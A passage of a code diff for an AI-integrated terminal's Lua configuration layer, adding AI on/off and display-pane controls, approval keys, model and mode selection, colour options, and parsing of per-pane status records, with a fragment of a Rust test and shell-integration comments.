let z = input_zone(&rows, 1, 3, 8, 3).unwrap();
|
||||
assert_eq!(z.text, "def");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn wide_characters() {
|
||||
let rows = vec![vec![
|
||||
Cell {
|
||||
col: 0,
|
||||
width: 1,
|
||||
text: "$".to_string(),
|
||||
input: false,
|
||||
},
|
||||
Cell {
|
||||
col: 1,
|
||||
width: 2,
|
||||
text: "\u{4e2d}".to_string(),
|
||||
input: true,
|
||||
},
|
||||
Cell {
|
||||
col: 3,
|
||||
width: 1,
|
||||
text: "a".to_string(),
|
||||
input: true,
|
||||
},
|
||||
]];
|
||||
let z = input_zone(&rows, 0, 4, 80, 3).unwrap();
|
||||
assert_eq!(z.text, "\u{4e2d}a");
|
||||
assert_eq!(
|
||||
(z.pieces[0].start, z.pieces[0].end, z.pieces[0].width),
|
||||
(0, 3, 2)
|
||||
);
|
||||
let z = input_zone(&rows, 0, 3, 80, 3).unwrap();
|
||||
assert_eq!(z.typed(), "\u{4e2d}");
|
||||
}
|
||||
}
|
||||
+488
-73
@@ -16,6 +16,14 @@ M.CONTEXT_VERSION = 1
|
||||
-- `lembas complete --shell`. See M.cli_supports_terminal.
|
||||
M.MIN_CLI_VERSION = '2.0.0-beta.18'
|
||||
|
||||
-- What the terminal needs of the CLI beyond that, by the names the CLI gives
|
||||
-- its own parts (`lembas --version --json` -> capabilities). See M.cli_info.
|
||||
M.CONTRACT = 2
|
||||
M.CAP = {
|
||||
display = 'terminal_surface', -- `lembas terminal`, the display
|
||||
models = 'terminal_models', -- `lembas terminal models`
|
||||
}
|
||||
|
||||
M.LIMITS = {
|
||||
max_blocks = 20, -- the most command blocks a context may carry
|
||||
total_bytes = 256 * 1024, -- the context file stays under this
|
||||
@@ -23,6 +31,9 @@ M.LIMITS = {
|
||||
value_chars = 64, -- one value in the session bar
|
||||
title_chars = 80,
|
||||
question_bytes = 16 * 1024,
|
||||
status_bytes = 4096, -- a pane's status record
|
||||
status_value_chars = 1024,
|
||||
model_ref_chars = 128,
|
||||
}
|
||||
|
||||
M.STATES = {
|
||||
@@ -46,11 +57,38 @@ M.BAR_FIELDS = {
|
||||
spend = true,
|
||||
}
|
||||
|
||||
M.MODES = { manual = true, auto = true }
|
||||
|
||||
-- What a colour may be drawn with by default: a number of the colour scheme's
|
||||
-- palette (0-15 are the ANSI colours), so that every colour follows the theme.
|
||||
M.COLORS = {
|
||||
prefix = 6, -- the ask line's own prefix
|
||||
ghost = 8, -- a suggestion after the cursor
|
||||
notice = 3, -- a word from the terminal at the cursor's row
|
||||
command = 2, -- a command that exists
|
||||
unknown = false, -- a command that is not found: left alone (the terminal does not
|
||||
-- know the shell's aliases and functions); give it a colour to mark such words
|
||||
option = false, -- false: left as the shell drew it
|
||||
string = 3,
|
||||
variable = 6,
|
||||
operator = 5,
|
||||
comment = 8,
|
||||
path = 4, -- a path that exists
|
||||
}
|
||||
|
||||
-- What the layer does when nothing is said. A person's own configuration
|
||||
-- passes a table of the same shape to apply(); only what it names changes.
|
||||
function M.defaults()
|
||||
local colors = {}
|
||||
for k, v in pairs(M.COLORS) do
|
||||
colors[k] = v
|
||||
end
|
||||
return {
|
||||
enabled = true,
|
||||
-- AI features on or off when the terminal starts. Off: every LLeMbas key
|
||||
-- but the switch does nothing, nothing is started, nothing of a pane is
|
||||
-- read and nothing leaves the machine. On: still nothing until a key.
|
||||
ai = true,
|
||||
-- Path of the LLeMbas CLI. nil: `lembas` on PATH, then in ~/.local/bin
|
||||
-- (where its installer puts it). The terminal carries no copy of its own.
|
||||
cli = nil,
|
||||
@@ -64,17 +102,27 @@ function M.defaults()
|
||||
},
|
||||
keys = {
|
||||
ask = { key = 'A', mods = 'CTRL|SHIFT' },
|
||||
new_session = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
resume = { key = 'O', mods = 'CTRL|SHIFT' },
|
||||
toggle_display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
cli = { key = 'S', mods = 'CTRL|SHIFT' },
|
||||
ai = { key = 'I', mods = 'CTRL|SHIFT' },
|
||||
approve = { key = 'Y', mods = 'CTRL|SHIFT' },
|
||||
deny = { key = 'J', mods = 'CTRL|SHIFT' },
|
||||
stop = { key = 'G', mods = 'CTRL|SHIFT' },
|
||||
display = { key = 'D', mods = 'CTRL|SHIFT' },
|
||||
private = { key = 'H', mods = 'CTRL|SHIFT' },
|
||||
ide = { key = 'E', mods = 'CTRL|SHIFT' },
|
||||
-- in the command palette only, until given a key:
|
||||
ask_screen = false,
|
||||
always = false,
|
||||
new = false,
|
||||
model = false,
|
||||
mode = false,
|
||||
},
|
||||
split = {
|
||||
direction = 'Right',
|
||||
size = 0.45,
|
||||
-- The display: the pane on the right in which LLeMbas answers.
|
||||
display = {
|
||||
width = 0.33, -- of the pane it is opened beside
|
||||
},
|
||||
new_session_in = 'split',
|
||||
-- The mode a display starts in: 'manual' (every command asked) or 'auto'.
|
||||
mode = 'manual',
|
||||
context = {
|
||||
enabled = true,
|
||||
blocks = 5,
|
||||
@@ -83,7 +131,19 @@ function M.defaults()
|
||||
screen_lines = 200,
|
||||
alt_screen = false,
|
||||
},
|
||||
-- Drawn by the terminal on the shell's input line (needs the shell integration):
|
||||
suggestions = true, -- the rest of the line from your own command history, dimmed
|
||||
highlight = true, -- the command line in colours
|
||||
-- AI: the rest of the line from LLeMbas, when the history has none. true: drawn by the
|
||||
-- terminal like every suggestion. 'shell': by the shell integration instead (zsh draws
|
||||
-- it itself, bash completes on Ctrl+X Ctrl+A), as before the terminal drew its own.
|
||||
autocomplete = false,
|
||||
-- The terminal's own history of commands it saw run, for the suggestions.
|
||||
history = {
|
||||
enabled = true,
|
||||
max = 5000,
|
||||
},
|
||||
colors = colors,
|
||||
}
|
||||
end
|
||||
|
||||
@@ -348,6 +408,11 @@ local function merge_into(base, over, path, warnings)
|
||||
local d = base[k]
|
||||
if d == nil and not (path == '' and (k == 'cli' or k == 'ide')) then
|
||||
warnings[#warnings + 1] = where .. ': not an option of the LLeMbas layer'
|
||||
elseif path == 'colors.' then
|
||||
-- checked as a whole afterwards (M.options)
|
||||
base[k] = v
|
||||
elseif path == '' and k == 'autocomplete' and v == 'shell' then
|
||||
base[k] = v
|
||||
elseif path == 'keys.' then
|
||||
-- a key: false turns it off, a table { key =, mods = } sets it
|
||||
if v == false then
|
||||
@@ -384,6 +449,17 @@ local function clamp(v, lo, hi, fallback)
|
||||
return v
|
||||
end
|
||||
|
||||
-- A colour of the layer: a number of the palette, '#rrggbb', or false for none.
|
||||
function M.is_color(v)
|
||||
if v == false then
|
||||
return true
|
||||
end
|
||||
if type(v) == 'number' then
|
||||
return v == math.floor(v) and v >= 0 and v <= 255
|
||||
end
|
||||
return type(v) == 'string' and v:match('^#%x%x%x%x%x%x$') ~= nil
|
||||
end
|
||||
|
||||
-- options(user) -> the effective options, and a list of what was wrong with
|
||||
-- what the person passed (never an error: a typo must not take the terminal's
|
||||
-- configuration down).
|
||||
@@ -403,21 +479,24 @@ function M.options(user)
|
||||
c.output_bytes = math.floor(clamp(c.output_bytes, 256, 64 * 1024, d.context.output_bytes))
|
||||
c.screen_lines = math.floor(clamp(c.screen_lines, 1, 1000, d.context.screen_lines))
|
||||
|
||||
local size = o.split.size
|
||||
if type(size) ~= 'number' or size ~= size or size <= 0 then
|
||||
size = d.split.size
|
||||
elseif size > 0.9 and size < 1 then
|
||||
size = 0.9
|
||||
local width = o.display.width
|
||||
if type(width) ~= 'number' or width ~= width or width <= 0 or width >= 1 then
|
||||
if width ~= d.display.width then
|
||||
warnings[#warnings + 1] = 'display.width: expected a part of the pane, more than 0 and less than 1'
|
||||
end
|
||||
width = d.display.width
|
||||
end
|
||||
o.split.size = size
|
||||
local directions = { Right = true, Left = true, Top = true, Bottom = true }
|
||||
if not directions[o.split.direction] then
|
||||
warnings[#warnings + 1] = 'split.direction: expected Right, Left, Top or Bottom'
|
||||
o.split.direction = d.split.direction
|
||||
o.display.width = clamp(width, 0.15, 0.8, d.display.width)
|
||||
if not M.MODES[o.mode] then
|
||||
warnings[#warnings + 1] = "mode: expected 'manual' or 'auto'"
|
||||
o.mode = d.mode
|
||||
end
|
||||
if o.new_session_in ~= 'split' and o.new_session_in ~= 'tab' then
|
||||
warnings[#warnings + 1] = "new_session_in: expected 'split' or 'tab'"
|
||||
o.new_session_in = d.new_session_in
|
||||
o.history.max = math.floor(clamp(o.history.max, 0, 100000, d.history.max))
|
||||
for name, default in pairs(M.COLORS) do
|
||||
if not M.is_color(o.colors[name]) then
|
||||
warnings[#warnings + 1] = 'colors.' .. name .. ": expected a palette number 0-255, '#rrggbb' or false"
|
||||
o.colors[name] = default
|
||||
end
|
||||
end
|
||||
|
||||
local fields = {}
|
||||
@@ -481,6 +560,11 @@ function M.session_from_vars(vars)
|
||||
if state and M.STATES[state] then
|
||||
s.state = state
|
||||
end
|
||||
-- The terminal's display says that it is one; the CLI's own interface does not.
|
||||
if get('lembas_surface', 16) == 'display' then
|
||||
s.display = true
|
||||
end
|
||||
s.ask = M.parse_ask(vars.lembas_ask)
|
||||
local ctx = get('lembas_context', 8)
|
||||
if ctx then
|
||||
local n = tonumber((ctx:gsub('%%$', '')))
|
||||
@@ -491,9 +575,27 @@ function M.session_from_vars(vars)
|
||||
return s
|
||||
end
|
||||
|
||||
-- What the display asks of the person now, from its `lembas_ask` variable:
|
||||
-- "<kind> <keys> <text>", as in "approval yn terminal_run: make test".
|
||||
-- nil when nothing is asked (or the value is not that).
|
||||
function M.parse_ask(value)
|
||||
if type(value) ~= 'string' or value == '' then
|
||||
return nil
|
||||
end
|
||||
local line = M.one_line(value, 200)
|
||||
local kind, keys, text = line:match('^(%a+) (%S+) ?(.*)$')
|
||||
if kind ~= 'approval' and kind ~= 'question' then
|
||||
return nil
|
||||
end
|
||||
return { kind = kind, keys = keys, text = text }
|
||||
end
|
||||
|
||||
-- The session bar as a list of { text =, attention = } parts.
|
||||
function M.bar_parts(session, fields, private)
|
||||
function M.bar_parts(session, fields, private, ai_off)
|
||||
local parts = {}
|
||||
if ai_off then
|
||||
return { { text = 'AI off', off = true } }
|
||||
end
|
||||
if session then
|
||||
for _, f in ipairs(fields) do
|
||||
local text
|
||||
@@ -517,8 +619,8 @@ end
|
||||
|
||||
-- The same as items for the terminal's format function. Only Text items carry
|
||||
-- text from the pane, and that text has no control character left in it.
|
||||
function M.bar_items(session, fields, private)
|
||||
local parts = M.bar_parts(session, fields, private)
|
||||
function M.bar_items(session, fields, private, ai_off)
|
||||
local parts = M.bar_parts(session, fields, private, ai_off)
|
||||
if #parts == 0 then
|
||||
return nil
|
||||
end
|
||||
@@ -534,6 +636,10 @@ function M.bar_items(session, fields, private)
|
||||
items[#items + 1] = { Foreground = { AnsiColor = 'Yellow' } }
|
||||
items[#items + 1] = { Text = p.text }
|
||||
items[#items + 1] = 'ResetAttributes'
|
||||
elseif p.off then
|
||||
items[#items + 1] = { Attribute = { Intensity = 'Half' } }
|
||||
items[#items + 1] = { Text = p.text }
|
||||
items[#items + 1] = 'ResetAttributes'
|
||||
elseif p.private then
|
||||
items[#items + 1] = { Foreground = { AnsiColor = 'Fuchsia' } }
|
||||
items[#items + 1] = { Text = p.text }
|
||||
@@ -597,19 +703,22 @@ function M.tab_title(tab, opts)
|
||||
}
|
||||
end
|
||||
|
||||
-- Which pane of a tab runs LLeMbas. panes: a list of { pane_id =, user_vars = }.
|
||||
-- Prefers one that is not `except` (the pane the person is in).
|
||||
function M.find_session_pane(panes, except)
|
||||
local found
|
||||
-- Which pane of a tab is the terminal's display. panes: a list of
|
||||
-- { pane_id =, user_vars = }. `started`: the id of a pane the layer started
|
||||
-- as the display, which may not have said anything yet. A pane running the
|
||||
-- CLI's own interface is never the display.
|
||||
function M.find_display_pane(panes, started)
|
||||
local starting
|
||||
for _, p in ipairs(panes or {}) do
|
||||
if M.session_from_vars(p.user_vars) then
|
||||
if p.pane_id ~= except then
|
||||
return p.pane_id
|
||||
end
|
||||
found = found or p.pane_id
|
||||
local s = M.session_from_vars(p.user_vars)
|
||||
if s and s.display then
|
||||
return p.pane_id
|
||||
end
|
||||
if started ~= nil and p.pane_id == started and not s then
|
||||
starting = p.pane_id
|
||||
end
|
||||
end
|
||||
return found
|
||||
return starting
|
||||
end
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
@@ -952,6 +1061,332 @@ function M.cli_supports_terminal(version_text)
|
||||
return cmp >= 0
|
||||
end
|
||||
|
||||
-- THE capability check of the display and what came with it, in one place.
|
||||
-- What `lembas --version --json` printed, decoded: { version, terminal_contract,
|
||||
-- capabilities = { names } }. Returns { version, contract, has = { name = true } },
|
||||
-- or nil when it is not that (a CLI from before it answers with plain text).
|
||||
function M.cli_info(decoded)
|
||||
if type(decoded) ~= 'table' or type(decoded.capabilities) ~= 'table' then
|
||||
return nil
|
||||
end
|
||||
local info = { has = {}, contract = 0, version = '' }
|
||||
if type(decoded.version) == 'string' then
|
||||
info.version = M.one_line(decoded.version, 64)
|
||||
end
|
||||
if type(decoded.terminal_contract) == 'number' then
|
||||
info.contract = decoded.terminal_contract
|
||||
end
|
||||
for _, name in ipairs(decoded.capabilities) do
|
||||
if type(name) == 'string' then
|
||||
info.has[name] = true
|
||||
end
|
||||
end
|
||||
return info
|
||||
end
|
||||
|
||||
-- Does that CLI have this part (a key of M.CAP)?
|
||||
function M.cli_has(info, part)
|
||||
return type(info) == 'table' and info.contract >= M.CONTRACT and info.has[M.CAP[part]] == true
|
||||
end
|
||||
|
||||
function M.version_json_args(cli)
|
||||
return { cli, '--version', '--json' }
|
||||
end
|
||||
|
||||
-- A model as it goes onto a command line or into a line for the display: one
|
||||
-- word of plain characters. Only what looks like one is passed on.
|
||||
function M.is_model_ref(ref)
|
||||
return type(ref) == 'string'
|
||||
and #ref > 0
|
||||
and #ref <= M.LIMITS.model_ref_chars
|
||||
and ref:match('^[%w][%w%._:/@%+%-]*$') ~= nil
|
||||
end
|
||||
|
||||
-- The id of a conversation: the same id is the same conversation for the CLI,
|
||||
-- so it is this run of the terminal (seed: when it first needed one) and the
|
||||
-- tab. Characters: letters, digits, '.', '_', '-'.
|
||||
function M.window_id(seed, tab_id)
|
||||
return string.format('t%d-%d', math.floor(seed), math.floor(tab_id))
|
||||
end
|
||||
|
||||
-- THE command that starts the display, in one place.
|
||||
-- o: { window = <id>, pane = <the person's pane>, context = <file>|nil,
|
||||
-- mode = 'manual'|'auto'|nil, model = <ref>|nil, new = true|nil }
|
||||
function M.display_args(cli, o)
|
||||
local args = { cli, 'terminal', '--window', o.window }
|
||||
if type(o.pane) == 'number' then
|
||||
args[#args + 1] = '--pane'
|
||||
args[#args + 1] = string.format('%d', o.pane)
|
||||
end
|
||||
if o.context then
|
||||
args[#args + 1] = '--terminal-context'
|
||||
args[#args + 1] = o.context
|
||||
end
|
||||
if M.is_model_ref(o.model) then
|
||||
args[#args + 1] = '-m'
|
||||
args[#args + 1] = o.model
|
||||
end
|
||||
if M.MODES[o.mode] then
|
||||
args[#args + 1] = '--mode'
|
||||
args[#args + 1] = o.mode
|
||||
end
|
||||
if o.new then
|
||||
args[#args + 1] = '--new'
|
||||
end
|
||||
return args
|
||||
end
|
||||
|
||||
-- THE lines and keys the terminal sends to the display on the person's
|
||||
-- behalf, in one place. Each is what is written to the display's pane.
|
||||
-- M.display_line('model', ref) | ('mode', name) | ('new')
|
||||
-- nil when the argument is not what that line takes.
|
||||
function M.display_line(name, arg)
|
||||
if name == 'model' then
|
||||
if not M.is_model_ref(arg) then
|
||||
return nil
|
||||
end
|
||||
return '/model ' .. arg .. '\r'
|
||||
elseif name == 'mode' then
|
||||
if not M.MODES[arg] then
|
||||
return nil
|
||||
end
|
||||
return '/mode ' .. arg .. '\r'
|
||||
elseif name == 'new' then
|
||||
return '/new\r'
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
-- What answers an approval and what stops a turn, each a line of its own:
|
||||
-- unambiguous, where a single key counts only while something is asked.
|
||||
M.DISPLAY_KEYS = { approve = '/approve\r', always = '/always\r', deny = '/deny\r', stop = '/stop\r' }
|
||||
|
||||
-- The display ends at once when it cannot start (not logged in, one runs for
|
||||
-- this window already), and a pane that closes at once says nothing. So on
|
||||
-- systems with a shell it is started through this, which keeps the pane with
|
||||
-- the display's own sentence until Enter. The command's words are handed over
|
||||
-- as arguments, never as text of the script.
|
||||
M.DISPLAY_HOLD = '"$@"; s=$?; [ "$s" -eq 0 ] && exit 0; '
|
||||
.. [[printf '\n[LLeMbas ended (status %s). Press Enter to close this pane.] ' "$s"; read -r _]]
|
||||
|
||||
function M.held(args)
|
||||
local out = { '/bin/sh', '-c', M.DISPLAY_HOLD, 'llembas-display' }
|
||||
for _, a in ipairs(args) do
|
||||
out[#out + 1] = a
|
||||
end
|
||||
return out
|
||||
end
|
||||
|
||||
-- THE commands of the terminal's two models, in one place.
|
||||
function M.models_args(cli)
|
||||
return { cli, 'terminal', 'models', '--json' }
|
||||
end
|
||||
|
||||
-- which: 'main' or 'autocomplete'; ref: a model, or nil for "none of my own".
|
||||
function M.models_set_args(cli, which, ref)
|
||||
local flag = which == 'autocomplete' and '--autocomplete' or '--main'
|
||||
return { cli, 'terminal', 'models', 'set', flag, M.is_model_ref(ref) and ref or 'default' }
|
||||
end
|
||||
|
||||
-- What `lembas terminal models --json` printed, decoded, as what the layer
|
||||
-- keeps: { main = <the chat model a display would start on>|nil,
|
||||
-- autocomplete = <the autocomplete model>|nil,
|
||||
-- choices = { main = { { id =, label = } … }, autocomplete = { … } } }
|
||||
-- nil when it is not that.
|
||||
function M.terminal_models(decoded)
|
||||
if type(decoded) ~= 'table' or type(decoded.models) ~= 'table' then
|
||||
return nil
|
||||
end
|
||||
local function ref_of(v)
|
||||
return M.is_model_ref(v) and v or nil
|
||||
end
|
||||
local main = type(decoded.main) == 'table' and decoded.main or {}
|
||||
local ac = type(decoded.autocomplete) == 'table' and decoded.autocomplete or {}
|
||||
local out = {
|
||||
main = ref_of(main.model) or ref_of(main.start),
|
||||
autocomplete = ref_of(ac.model) or ref_of(ac.account),
|
||||
choices = { main = {}, autocomplete = {} },
|
||||
}
|
||||
for _, m in ipairs(decoded.models) do
|
||||
if type(m) == 'table' then
|
||||
local name = type(m.name) == 'string' and M.one_line(m.name, 48) or ''
|
||||
local uses = type(m['for']) == 'table' and m['for'] or { 'main' }
|
||||
for _, use in ipairs(uses) do
|
||||
-- a display takes a model by its ref, a completion by its id
|
||||
local id = ref_of(use == 'autocomplete' and m.id or m.ref) or ref_of(m.id)
|
||||
local list = out.choices[use]
|
||||
if id and list then
|
||||
list[#list + 1] = { id = id, label = (name ~= '' and name ~= id) and (name .. ' · ' .. id) or id }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return out
|
||||
end
|
||||
|
||||
-- What stands before the question on the ask line, so that the person sees
|
||||
-- which model and mode will answer before sending: "llembas qwen · auto".
|
||||
function M.ask_prefix(model, mode, screen)
|
||||
local parts = {}
|
||||
if type(model) == 'string' and model ~= '' then
|
||||
parts[#parts + 1] = M.one_line(model, 40)
|
||||
end
|
||||
if type(mode) == 'string' and mode ~= '' then
|
||||
parts[#parts + 1] = M.one_line(mode, 16)
|
||||
end
|
||||
if screen then
|
||||
parts[#parts + 1] = 'this screen'
|
||||
end
|
||||
if #parts == 0 then
|
||||
return 'llembas'
|
||||
end
|
||||
return 'llembas ' .. table.concat(parts, ' · ')
|
||||
end
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
-- A pane's status record: what the shell integration says at every prompt
|
||||
-- (llembas/shell/llembas-tty.sh), as the user variable `llembas_tty_status`.
|
||||
|
||||
M.STATUS_VAR = 'llembas_tty_status'
|
||||
|
||||
-- parse_status(text) -> { id, seq, state, exit|nil, ran, time|nil, shell|nil,
|
||||
-- cwd|nil, host|nil } or nil when the text is not a record. It is what a pane
|
||||
-- said of itself: text, never trusted for more than that.
|
||||
function M.parse_status(text)
|
||||
if type(text) ~= 'string' or #text > M.LIMITS.status_bytes then
|
||||
return nil
|
||||
end
|
||||
local fields = {}
|
||||
local first = true
|
||||
for line in (text .. '\n'):gmatch('([^\n]*)\n') do
|
||||
line = line:gsub('\r$', '')
|
||||
if first then
|
||||
if line ~= 'llembas-tty-status=1' then
|
||||
return nil
|
||||
end
|
||||
first = false
|
||||
elseif line ~= '' then
|
||||
local k, v = line:match('^([%w_%-]+)=(.*)$')
|
||||
if not k or #v > M.LIMITS.status_value_chars then
|
||||
return nil
|
||||
end
|
||||
if fields[k] == nil then
|
||||
fields[k] = M.clean(v, false)
|
||||
end
|
||||
end
|
||||
end
|
||||
if first then
|
||||
return nil
|
||||
end
|
||||
local id = fields.id
|
||||
if type(id) ~= 'string' or #id < 1 or #id > 64 or not id:match('^[%w%._:%-]+$') then
|
||||
return nil
|
||||
end
|
||||
local seq = fields.seq and fields.seq:match('^%d+$') and tonumber(fields.seq)
|
||||
if not seq then
|
||||
return nil
|
||||
end
|
||||
local state = fields.state or 'prompt'
|
||||
if state ~= 'prompt' and state ~= 'running' then
|
||||
return nil
|
||||
end
|
||||
local rec = { id = id, seq = seq, state = state, ran = fields.ran == '1' }
|
||||
if fields.exit and fields.exit:match('^%d+$') then
|
||||
local e = tonumber(fields.exit)
|
||||
if e <= 255 then
|
||||
rec.exit = e
|
||||
end
|
||||
end
|
||||
if fields.time and fields.time:match('^%d+$') then
|
||||
rec.time = tonumber(fields.time)
|
||||
end
|
||||
for _, k in ipairs { 'shell', 'cwd', 'host' } do
|
||||
if fields[k] and fields[k] ~= '' then
|
||||
rec[k] = fields[k]
|
||||
end
|
||||
end
|
||||
return rec
|
||||
end
|
||||
|
||||
-- The record as the terminal writes it to the pane's status file when it
|
||||
-- came by user variable: no process id (the shell may be on another machine)
|
||||
-- and `via=uservar`, so that a reader knows it is what the pane said.
|
||||
function M.status_text(rec)
|
||||
local lines = { 'llembas-tty-status=1', 'id=' .. rec.id, string.format('seq=%d', rec.seq), 'state=' .. rec.state }
|
||||
if rec.exit then
|
||||
lines[#lines + 1] = string.format('exit=%d', rec.exit)
|
||||
end
|
||||
if rec.ran then
|
||||
lines[#lines + 1] = 'ran=1'
|
||||
end
|
||||
if rec.time then
|
||||
lines[#lines + 1] = string.format('time=%d', rec.time)
|
||||
end
|
||||
for _, k in ipairs { 'shell', 'host' } do
|
||||
if rec[k] then
|
||||
lines[#lines + 1] = k .. '=' .. rec[k]
|
||||
end
|
||||
end
|
||||
lines[#lines + 1] = 'via=uservar'
|
||||
if rec.cwd then
|
||||
lines[#lines + 1] = 'cwd=' .. rec.cwd
|
||||
end
|
||||
return table.concat(lines, '\n') .. '\n'
|
||||
end
|
||||
|
||||
-- Is `a` the same moment of the same shell as `b`? Then the file is right as it is.
|
||||
function M.same_status(a, b)
|
||||
return type(a) == 'table' and type(b) == 'table' and a.id == b.id and a.seq == b.seq and a.state == b.state
|
||||
end
|
||||
|
||||
-- Where the status records are: the same rule the shell integration follows.
|
||||
-- getenv: function(name) -> value|nil
|
||||
function M.status_dir(getenv, home)
|
||||
local function abs(name)
|
||||
local v = getenv(name)
|
||||
if type(v) == 'string' and v:sub(1, 1) == '/' then
|
||||
return v
|
||||
end
|
||||
return nil
|
||||
end
|
||||
local explicit = abs 'LLEMBAS_TTY_STATUS_DIR'
|
||||
if explicit then
|
||||
return explicit
|
||||
end
|
||||
local runtime = abs 'XDG_RUNTIME_DIR'
|
||||
if runtime then
|
||||
return runtime .. '/llembas-tty'
|
||||
end
|
||||
local state = abs 'XDG_STATE_HOME'
|
||||
if state then
|
||||
return state .. '/llembas-tty'
|
||||
end
|
||||
if type(home) == 'string' and home ~= '' then
|
||||
return home .. '/.local/state/llembas-tty'
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
-- The status directory of one run of the terminal: two terminals number
|
||||
-- their panes alike, so each keeps its records apart.
|
||||
function M.status_dir_of(base, pid)
|
||||
if type(base) ~= 'string' or type(pid) ~= 'number' then
|
||||
return base
|
||||
end
|
||||
return string.format('%s/status-%d', base, pid)
|
||||
end
|
||||
|
||||
-- The process id in the name of such a directory; nil for any other name.
|
||||
function M.status_dir_pid(path)
|
||||
local base = path:match('([^/\\]+)$') or path
|
||||
local pid = base:match('^status%-(%d+)$')
|
||||
return pid and tonumber(pid) or nil
|
||||
end
|
||||
|
||||
function M.status_file_name(pane_id)
|
||||
return string.format('pane-%d.status', pane_id)
|
||||
end
|
||||
|
||||
-- Where a program of the LLeMbas family may be, in the order tried. Each is an installation of
|
||||
-- its own, the same one a person uses outside this terminal: the terminal carries no copy.
|
||||
-- name: 'lembas' or 'llembas-ide'
|
||||
@@ -997,44 +1432,6 @@ function M.ide_candidates(explicit, home, path, windows)
|
||||
return M.program_candidates('llembas-ide', explicit, home, path, windows)
|
||||
end
|
||||
|
||||
-- The choices of the "resume a session" list from what
|
||||
-- `lembas sessions --json` printed, already decoded: a list of objects with
|
||||
-- at least an `id`. nil when it is not that (an older CLI prints plain text).
|
||||
function M.session_choices(decoded)
|
||||
if type(decoded) ~= 'table' then
|
||||
return nil
|
||||
end
|
||||
local list = decoded
|
||||
if type(decoded.sessions) == 'table' then
|
||||
list = decoded.sessions
|
||||
end
|
||||
local choices = {}
|
||||
for _, s in ipairs(list) do
|
||||
if type(s) == 'table' and M.is_session_id(s.id) then
|
||||
local parts = {}
|
||||
local title = type(s.title) == 'string' and M.one_line(s.title, M.LIMITS.title_chars) or ''
|
||||
parts[1] = title ~= '' and title or s.id
|
||||
if type(s.model) == 'string' and s.model ~= '' then
|
||||
parts[#parts + 1] = M.one_line(s.model, 48)
|
||||
end
|
||||
if type(s.root) == 'string' and s.root ~= '' then
|
||||
parts[#parts + 1] = M.one_line(s.root, 64)
|
||||
end
|
||||
choices[#choices + 1] = { id = s.id, label = table.concat(parts, ' · ') }
|
||||
end
|
||||
end
|
||||
if #choices == 0 then
|
||||
return nil
|
||||
end
|
||||
return choices
|
||||
end
|
||||
|
||||
-- A session id goes onto a command line as one argument; still, only what
|
||||
-- looks like an id is passed on.
|
||||
function M.is_session_id(id)
|
||||
return type(id) == 'string' and #id > 0 and #id <= 128 and id:match('^[%w][%w%._:%-]*$') ~= nil
|
||||
end
|
||||
|
||||
----------------------------------------------------------------------------
|
||||
-- Words
|
||||
|
||||
@@ -1054,13 +1451,31 @@ M.messages = {
|
||||
setup_missing = 'The set-up program (llembas-tty-setup) is not beside this terminal. Install the LLeMbas CLI and LLeMbas IDE by their own installers.',
|
||||
cli_too_old = 'This LLeMbas CLI is too old to work with the terminal: it is %s, and %s or newer is needed.\r\n'
|
||||
.. 'Update it with: lembas update',
|
||||
display_missing = 'This LLeMbas CLI (%s) cannot be the terminal\'s display yet: that came in a newer one.\r\n'
|
||||
.. 'Update it with: lembas update\r\n\r\n'
|
||||
.. 'Until then, the key that opens the CLI itself works: %s.',
|
||||
models_missing = 'This LLeMbas CLI (%s) does not list models for the terminal yet.\r\n' .. 'Update it with: lembas update',
|
||||
models_failed = 'The models could not be read from the LLeMbas CLI. Are you logged in? lembas login',
|
||||
ai_off = 'AI is off in this terminal: the LLeMbas keys do nothing. %s turns it on.',
|
||||
ai_now_on = 'AI on',
|
||||
ai_now_off = 'AI off',
|
||||
private = 'This pane is private: nothing of it is passed on. The question was sent alone.',
|
||||
password = 'The pane is asking for a password: nothing of it is passed on. The question was sent alone.',
|
||||
remote = 'LLeMbas works in local panes for now: this pane runs somewhere else.',
|
||||
write_failed = 'The terminal context could not be written (%s). The question was sent alone.',
|
||||
no_session_pane = 'There is no LLeMbas pane in this tab.',
|
||||
private_on = 'This pane is now private: nothing of it is passed to LLeMbas.',
|
||||
no_display = 'LLeMbas is not running in this tab: ask it something first.',
|
||||
nothing_waits = 'LLeMbas is not waiting for an answer.',
|
||||
answer_first = 'LLeMbas is waiting for an answer: allow or deny first (%s, %s).',
|
||||
asks = 'LLeMbas asks: %s (%s allow, %s deny)',
|
||||
busy = 'LLeMbas is in the middle of a turn: stop it first, or wait.',
|
||||
new_next = 'The next question starts a new conversation.',
|
||||
model_set = 'model: %s',
|
||||
mode_set = 'mode: %s',
|
||||
private_on = 'This pane is now private: nothing of it is passed to LLeMbas, and its commands are not remembered.',
|
||||
private_off = 'This pane is no longer private.',
|
||||
switched = '%s %s',
|
||||
history_cleared = 'The command history of this terminal is cleared.',
|
||||
needs_terminal = 'This is drawn by the terminal itself, and this build has no such part.',
|
||||
}
|
||||
|
||||
return M
|
||||
+737
-155
File diff suppressed because it is too large.
Load diff
@@ -6,7 +6,7 @@
|
||||
#
|
||||
# [ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
|
||||
#
|
||||
# It does two things, and only inside LLeMbas TTY, only in an interactive shell:
|
||||
# It does three things, and only inside LLeMbas TTY, only in an interactive shell:
|
||||
#
|
||||
# 1. Semantic zones and the working directory (OSC 133, OSC 7), by WezTerm's
|
||||
# own integration script, shipped beside this file as wezterm.sh. That is
|
||||
@@ -14,6 +14,32 @@
|
||||
# The WEZTERM_SHELL_SKIP_* variables documented in that file apply.
|
||||
# 2. Prompt autocomplete, when it was turned on (`autocomplete = true` in the
|
||||
# LLeMbas layer's options exports LLEMBAS_TTY_AUTOCOMPLETE=1). Off by default.
|
||||
# 3. The pane's status record: at every prompt, and when a command starts, a
|
||||
# few lines that say where this shell stands - at its prompt or running a
|
||||
# command, how the last command ended, when, in which directory. It says
|
||||
# nothing of what the command was. It is how the terminal, and LLeMbas when
|
||||
# it types a command into this pane for you, know that the command has
|
||||
# ended. It goes two ways:
|
||||
# - the file pane-<LLEMBAS_TTY_PANE>.status in the status directory
|
||||
